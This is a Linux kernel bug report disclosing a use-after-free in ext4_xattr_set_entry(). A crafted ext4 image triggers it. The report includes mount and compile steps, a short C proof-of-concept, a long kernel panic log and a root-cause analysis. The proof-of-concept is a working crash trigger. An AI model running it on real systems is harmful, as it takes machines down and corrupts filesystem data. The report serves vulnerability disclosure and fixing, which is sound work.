- Overview use-after-free detected by KASAN in ext4_xattr_set_entry() when mounting and writing to a crafted ext4 image - Reproduce (ext4-dev branch) # mkdir mnt # mount -t 204.img mnt # gcc -o poc poc.c # ./poc ./mnt - POC (poc.c) #define _GNU_SOURCE #include <sys/types.h> #include <sys/mount.h> #include <sys/mman.h> #include <sys/stat.h> #include <sys/xattr.h> #include <dirent.h> #include <errno.h> #include <error.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <linux/falloc.h> #include <linux/loop.h> static void activity(char *mpoint) { char *foo_bar_baz; int err; static int buf[8192]; memset(buf, 0, sizeof(buf)); err = asprintf(&foo_bar_baz, "%s/foo/bar/baz", mpoint); int fd = open(foo_bar_baz, O_RDWR | O_TRUNC, 0777); if (fd >= 0) { write(fd, (char *)buf, sizeof(buf)); fdatasync(fd); } } int main(int argc, char *argv[]) { activity(argv[1]); return 0; } - Kernel Message [ 359.880029] ================================================================== [ 359.922858] BUG: KASAN: use-after-free in ext4_xattr_set_entry+0x1113/0x1860 [ 359.924295] Write of size 1528337012 at addr ffff8801cf7de600 by task a.out/1376 [ 359.925795] [ 359.926746] [ 359.927080] The buggy address belongs to the page: [ 359.928073] page:ffffea00073df780 count:2 mapcount:0 mapping:ffff8801f68289d0 index:0x11 [ 359.929733] flags: 0x2ffff0000001064(referenced|lru|active|private) [ 359.931018] raw: 02ffff0000001064 ffff8801f68289d0 0000000000000011 00000002ffffffff [ 359.932614] raw: ffffea00073df760 ffffea00073df860 ffff8801ec6fed20 ffff8801de0c5500 [ 359.934181] page dumped because: kasan: bad access detected [ 359.935328] page->mem_cgroup:ffff8801de0c5500 [ 359.936228] [ 359.936568] Memory state around the buggy address: [ 359.937548] ffff8801da997f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [ 359.939026] ffff8801da997f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [ 359.940515] >ffff8801da998000: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb [ 359.941999] ^ [ 359.942674] ffff8801da998080: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb [ 359.944145] ffff8801da998100: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb [ 359.945627] ================================================================== [ 360.071634] systemd[1]: segfault at 0 ip 0000000000000000 sp 00007fffe3a46480 error 14 in systemd[55b631836000+15c000] [ 360.074324] systemd[1]: segfault at fffffffffffffe40 ip 000055b6318fe3ba sp 00007fffe3a45550 error 5 in systemd[55b631836000+15c000] [ 360.076834] systemd[1]: segfault at fffffffffffffe40 ip 000055b6318fe3ba sp 00007fffe3a44610 error 5 in systemd[55b631836000+15c000] [ 360.079382] systemd[1]: segfault at fffffffffffffe40 ip 000055b6318fe3ba sp 00007fffe3a436d0 error 5 in systemd[55b631836000+15c000] [ 360.083627] systemd[1]: segfault at fffffffffffffe40 ip 000055b6318fe3ba sp 00007fffe3a42790 error 5 in systemd[55b631836000+15c000] [ 360.089843] systemd[1]: segfault at fffffffffffffe40 ip 000055b6318fe3ba sp 00007fffe3a41850 error 5 in systemd[55b631836000+15c000] [ 360.092404] systemd[1]: segfault at fffffffffffffe40 ip 000055b6318fe3ba sp 00007fffe3a40910 error 5 in systemd[55b631836000+15c000] [ 360.099378] systemd[1]: segfault at fffffffffffffe40 ip 000055b6318fe3ba sp 00007fffe3a3f9d0 error 5 in systemd[55b631836000+15c000] [ 360.119569] BUG: unable to handle kernel paging request at ffff8801da800000 [ 360.122154] PGD 4ff40067 P4D 4ff40067 PUD 4ff47067 PMD 1da9d7063 PTE 80000001da800061 [ 360.122871] EXT4-fs (dm-0): pa 0000000002a882ba: logic 17, phys. 7930598, len 15 [ 360.123744] Oops: 0003 [#1] SMP KASAN PTI [ 360.125295] EXT4-fs error (device dm-0): ext4_mb_release_inode_pa:3854: group 242, free 15, pa_free 14 [ 360.126139] Modules linked in: snd_hda_codec_generic snd_hda_intel snd_hda_codec snd_hwdep snd_hda_core snd_pcm snd_timer snd i2c_piix4 mac_hid soundcore ib_iser rdma_cm iw_cm ib_cm ib_core iscsi_tcp libiscsi_tcp libiscsi scsi_transport_iscsi autofs4 btrfs zstd_decompress zstd_compress xxhash raid10 raid456 async_raid6_recov async_memcpy async_pq async_xor async_tx xor raid6_pq raid1 raid0 multipath linear 8139too qxl drm_kms_helper syscopyarea sysfillrect crct10dif_pclmul sysimgblt fb_sys_fops ttm crc32_pclmul drm aesni_intel aes_x86_64 crypto_simd cryptd glue_helper pata_acpi 8139cp floppy mii [ 360.139451] CPU: 0 PID: 1376 Comm: a.out Tainted: G B 4.17.0-rc4+ #5 [ 360.141005] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014 [ 360.142915] RIP: 0010:__memset+0x24/0x30 [ 360.143720] RSP: 0018:ffff8801f0e0f668 EFLAGS: 00010206 [ 360.144796] RAX: 0000000000000000 RBX: ffff8801cf7de600 RCX: 000000000a02cf0e [ 360.146239] RDX: 0000000000000004 RSI: 0000000000000000 RDI: ffff8801da800000 [ 360.147678] RBP: ffff8801f0e0f688 R08: ffffed003ee03ebb R09: ffff8801cf7de600 [ 360.149133] R10: 0000000000000001 R11: ffffed003ee03eba R12: 000000005b189274 [ 360.150582] R13: 0000000000000000 R14: 0000000000000080 R15: ffff8801f0e0f968 [ 360.152038] FS: 00007fcb65979700(0000) GS:ffff8801f7000000(0000) knlGS:0000000000000000 [ 360.153696] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 360.154873] CR2: ffff8801da800000 CR3: 00000001e0010000 CR4: 00000000000006f0 [ 360.156338] Call Trace: [ 360.156878] ? memset+0x31/0x40 [ 360.157546] ext4_xattr_set_entry+0x1113/0x1860 [ 360.158486] ? kasan_check_write+0x14/0x20 [ 360.159341] ? _raw_spin_lock_irqsave+0x2a/0x60 [ 360.160281] ? depot_save_stack+0x2cd/0x470 [ 360.161158] ? ext4_xattr_block_find.isra.22+0x2c0/0x2c0 [ 360.162259] ? __find_get_block+0x106/0x400 [ 360.164599] ? __filemap_fdatawrite_range+0x19a/0x1f0 [ 360.165661] ? file_write_and_wait_range+0x66/0xb0 [ 360.166684] ? ext4_sync_file+0x1e3/0x670 [ 360.167532] ? _cond_resched+0x1a/0x50 [ 360.168328] ? __getblk_gfp+0x31/0x3f0 [ 360.169406] ? add_transaction_credits+0x13d/0x5e0 [ 360.170412] ? __ext4_get_inode_loc+0x231/0x680 [ 360.171360] ? __mark_inode_dirty+0x6f/0x4f0 [ 360.172256] ? jbd2_write_access_granted.part.9+0x89/0xa0 [ 360.173404] ext4_xattr_ibody_inline_set+0x53/0x1f0 [ 360.174425] ? __ext4_journal_get_write_access+0x3b/0x80 [ 360.175525] ext4_destroy_inline_data_nolock+0x1c0/0x340 [ 360.176646] ? ext4_create_inline_data+0x320/0x320 [ 360.177647] ? memcg_kmem_put_cache+0x1b/0xa0 [ 360.178556] ? jbd2__journal_start+0x19d/0x300 [ 360.179489] ext4_destroy_inline_data+0x4f/0x80 [ 360.180931] ext4_writepages+0x5c4/0x1500 [ 360.181781] ? __generic_file_write_iter+0x296/0x2e0 [ 360.182824] ? ext4_mark_inode_dirty+0x3d0/0x3d0 [ 360.183792] ? save_stack+0xb5/0xd0 [ 360.184554] ? aa_path_link+0x210/0x210 [ 360.184785] request_module: kmod_concurrent_max (0) close to 0 (max_modprobes: 50), for module binfmt-0000, throttling... [ 360.185355] ? kasan_slab_free+0xe/0x10 [ 360.185535] request_module: kmod_concurrent_max (0) close to 0 (max_modprobes: 50), for module binfmt-0000, throttling... [ 360.187551] ? kmem_cache_free+0x89/0x1e0 [ 360.187560] ? putname+0x80/0x90 [ 360.187579] ? do_sys_open+0x22e/0x2c0 [ 360.187589] ? __x64_sys_open+0x4c/0x60 [ 360.188637] request_module: kmod_concurrent_max (0) close to 0 (max_modprobes: 50), for module binfmt-0000, throttling... [ 360.190659] ? do_syscall_64+0x78/0x170 [ 360.190665] ? entry_SYSCALL_64_after_hwframe+0x44/0xa9 [ 360.190677] ? iov_iter_init+0x82/0xc0 [ 360.191812] request_module: kmod_concurrent_max (0) close to 0 (max_modprobes: 50), for module binfmt-0000, throttling... [ 360.192196] do_writepages+0x37/0xb0 [ 360.193170] request_module: kmod_concurrent_max (0) close to 0 (max_modprobes: 50), for module binfmt-0000, throttling... [ 360.193786] ? ext4_mark_inode_dirty+0x3d0/0x3d0 [ 360.193790] ? do_writepages+0x37/0xb0 [ 360.193796] __filemap_fdatawrite_range+0x19a/0x1f0 [ 360.193805] ? delete_from_page_cache_batch+0x4e0/0x4e0 [ 360.208556] ? fsnotify+0x695/0x720 [ 360.209518] ? __fsnotify_inode_delete+0x20/0x20 [ 360.210608] file_write_and_wait_range+0x66/0xb0 [ 360.211679] ext4_sync_file+0x1e3/0x670 [ 360.212566] ? ext4_getfsmap+0x4d0/0x4d0 [ 360.213483] vfs_fsync_range+0x68/0x100 [ 360.214416] ? __fget_light+0xc9/0xe0 [ 360.215269] do_fsync+0x3d/0x70 [ 360.216007] __x64_sys_fdatasync+0x24/0x30 [ 360.216891] Aborting journal on device dm-0-8. [ 360.217034] do_syscall_64+0x78/0x170 [ 360.219057] entry_SYSCALL_64_after_hwframe+0x44/0xa9 [ 360.220247] RIP: 0033:0x7fcb65491800 [ 360.221004] RSP: 002b:00007ffd32415ad8 EFLAGS: 00000246 ORIG_RAX: 000000000000004b [ 360.222526] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007fcb65491800 [ 360.223960] RDX: 0000000000008000 RSI: 0000000000601080 RDI: 0000000000000003 [ 360.225404] RBP: 00007ffd32415b10 R08: 00000000020de010 R09: 0000000000000000 [ 360.226843] R10: 00000000000002e8 R11: 0000000000000246 R12: 00000000004005c0 [ 360.228274] R13: 00007ffd32415c10 R14: 0000000000000000 R15: 0000000000000000 [ 360.229799] Code: 90 90 90 90 90 90 90 66 66 90 66 90 49 89 f9 48 89 d1 83 e2 07 48 c1 e9 03 40 0f b6 f6 48 b8 01 01 01 01 01 01 01 01 48 0f af c6 <f3> 48 ab 89 d1 f3 aa 4c 89 c8 c3 90 49 89 f9 40 88 f0 48 89 d1 [ 360.233615] RIP: __memset+0x24/0x30 RSP: ffff8801f0e0f668 [ 360.234899] CR2: ffff8801da800000 [ 360.235805] ---[ end trace 9f703e0d0e15b354 ]--- [ 360.242689] EXT4-fs (dm-0): Remounting filesystem read-only [ 360.244596] request_module: kmod_concurrent_max (0) close to 0 (max_modprobes: 50), for module binfmt-0000, throttling... [ 360.246766] request_module: kmod_concurrent_max (0) close to 0 (max_modprobes: 50), for module binfmt-0000, throttling... [ 360.824026] request_module: kmod_concurrent_max (0) close to 0 (max_modprobes: 50), for module binfmt-0000, throttling... [ 365.277906] request_module: modprobe binfmt-0000 cannot be processed, kmod busy with 50 threads for more than 5 seconds now [ 365.280186] request_module: modprobe binfmt-0000 cannot be processed, kmod busy with 50 threads for more than 5 seconds now [ 365.282559] request_module: modprobe binfmt-0000 cannot be processed, kmod busy with 50 threads for more than 5 seconds now [ 365.284934] request_module: modprobe binfmt-0000 cannot be processed, kmod busy with 50 threads for more than 5 seconds now [ 365.287202] request_module: modprobe binfmt-0000 cannot be processed, kmod busy with 50 threads for more than 5 seconds now [ 365.289527] request_module: modprobe binfmt-0000 cannot be processed, kmod busy with 50 threads for more than 5 seconds now [ 365.291785] request_module: modprobe binfmt-0000 cannot be processed, kmod busy with 50 threads for more than 5 seconds now [ 365.302362] request_module: kmod_concurrent_max (0) close to 0 (max_modprobes: 50), for module binfmt-0000, throttling... [ 365.302391] request_module: kmod_concurrent_max (0) close to 0 (max_modprobes: 50), for module binfmt-0000, throttling... [ 365.304613] request_module: kmod_concurrent_max (0) close to 0 (max_modprobes: 50), for module binfmt-0000, throttling... [ 365.320429] request_module: kmod_concurrent_max (0) close to 0 (max_modprobes: 50), for module binfmt-0000, throttling... [ 365.322697] request_module: kmod_concurrent_max (0) close to 0 (max_modprobes: 50), for module binfmt-0000, throttling... [ 365.324894] request_module: kmod_concurrent_max (0) close to 0 (max_modprobes: 50), for module binfmt-0000, throttling... [ 365.518376] show_signal_msg: 2144 callbacks suppressed [ 365.518382] irqbalance[1144]: segfault at 0 ip 0000000000000000 sp 00007fff7e960eb0 error 14 in irqbalance[400000+b000] [ 365.524510] request_module: kmod_concurrent_max (0) close to 0 (max_modprobes: 50), for module binfmt-0000, throttling... [ 366.046147] loop: Write error at byte offset 48128, length 1024. [ 366.049693] print_req_error: I/O error, dev loop0, sector 94 [ 366.050898] Buffer I/O error on dev loop0, logical block 47, lost sync page write [ 366.052460] JBD2: Error -5 detected when updating journal superblock for loop0-8. [ 366.054025] Aborting journal on device loop0-8. [ 366.055025] loop: Write error at byte offset 48128, length 1024. [ 366.056270] print_req_error: I/O error, dev loop0, sector 94 [ 366.057460] print_req_error: I/O error, dev loop0, sector 94 [ 366.058619] Buffer I/O error on dev loop0, logical block 47, lost sync page write [ 366.060169] JBD2: Error -5 detected when updating journal superblock for loop0-8. [ 366.498567] systemd-timesyn[788]: segfault at 0 ip 0000000000000000 sp 00007ffcdc3db710 error 14 in systemd-timesyncd[55894c6c8000+21000] [ 366.526978] request_module: kmod_concurrent_max (0) close to 0 (max_modprobes: 50), for module binfmt-0000, throttling... [ 370.398000] request_module: modprobe binfmt-0000 cannot be processed, kmod busy with 50 threads for more than 5 seconds now [ 370.398006] request_module: modprobe binfmt-0000 cannot be processed, kmod busy with 50 threads for more than 5 seconds now [ 370.398452] request_module: modprobe binfmt-0000 cannot be processed, kmod busy with 50 threads for more than 5 seconds now [ 370.400410] request_module: modprobe binfmt-0000 cannot be processed, kmod busy with 50 threads for more than 5 seconds now [ 370.402912] request_module: modprobe binfmt-0000 cannot be processed, kmod busy with 50 threads for more than 5 seconds now [ 370.406161] request_module: kmod_concurrent_max (0) close to 0 (max_modprobes: 50), for module binfmt-0000, throttling... [ 370.409555] request_module: kmod_concurrent_max (0) close to 0 (max_modprobes: 50), for module binfmt-0000, throttling... [ 370.413134] request_module: kmod_concurrent_max (0) close to 0 (max_modprobes: 50), for module binfmt-0000, throttling... [ 370.417439] Core dump to |/usr/share/apport/apport 1 11 0 1 1 pipe failed [ 370.421501] Core dump to |/usr/share/apport/apport 968 11 0 1 968 pipe failed [ 370.425943] Core dump to |/usr/share/apport/apport 405 6 0 1 405 pipe failed [ 370.427931] Core dump to |/usr/share/apport/apport 930 11 0 1 930 pipe failed [ 370.433053] request_module: kmod_concurrent_max (0) close to 0 (max_modprobes: 50), for module binfmt-0000, throttling... [ 370.433092] request_module: kmod_concurrent_max (0) close to 0 (max_modprobes: 50), for module binfmt-0000, throttling... [ 370.433125] request_module: kmod_concurrent_max (0) close to 0 (max_modprobes: 50), for module binfmt-0000, throttling... [ 370.460543] request_module: kmod_concurrent_max (0) close to 0 (max_modprobes: 50), for module binfmt-0000, throttling... [ 370.461142] request_module: kmod_concurrent_max (0) close to 0 (max_modprobes: 50), for module binfmt-0000, throttling... [ 370.467551] request_module: kmod_concurrent_max (0) close to 0 (max_modprobes: 50), for module binfmt-0000, throttling... [ 370.483282] request_module: kmod_concurrent_max (0) close to 0 (max_modprobes: 50), for module binfmt-0000, throttling... [ 370.498433] systemd-cgroups[1380]: segfault at 1 ip 00005633d5019d1e sp 00007ffea259d8f0 error 6 [ 370.498691] systemd: 38 output lines suppressed due to ratelimiting [ 370.500658] in systemd-cgroups-agent[5633d4ff8000+40000] [ 370.502722] Kernel panic - not syncing: Attempted to kill init! exitcode=0x0000000b [ 370.502722] [ 370.589106] Kernel Offset: 0x5000000 from 0xffffffff81000000 (relocation range: 0xffffffff80000000-0xffffffffbfffffff) [ 370.616526] ---[ end Kernel panic - not syncing: Attempted to kill init! exitcode=0x0000000b [ 370.616526] ]--- - Reason https://elixir.bootlin.com/linux/latest/source/fs/ext4/xattr.c#L1693 if (!s->not_found && here->e_value_offs) { /* Remove the old value. */ void *first_val = s->base + min_offs; size_t offs = le16_to_cpu(here->e_value_offs); void *val = s->base + offs; memmove(first_val + old_size, first_val, val - first_val); memset(first_val, 0, old_size); min_offs += old_size; `s` is a dangling pointer, where s->base is some uncontrolled address, later memmove() and memset() corrupt the kernel data and take whole system down. This bug is not affected by patch https://git.kernel.org/pub/scm/linux/kernel/git/tytso/ext4.git/commit/?h=dev&id=8a2b307c21d4b290e3cbe33f768f194286d07c23. And from the kernel log, I am not sure whether this bug has the same root cause of "use-after-free() detected by KASAN in ext4_xattr_list_entries() when mounting and operating a crafted ext4 image” I just reported before. Reported by Wen Xu from SSLab, Gatech. Files: 204.img.zip: https://bugzilla.kernel.org/attachment.cgi?id=276403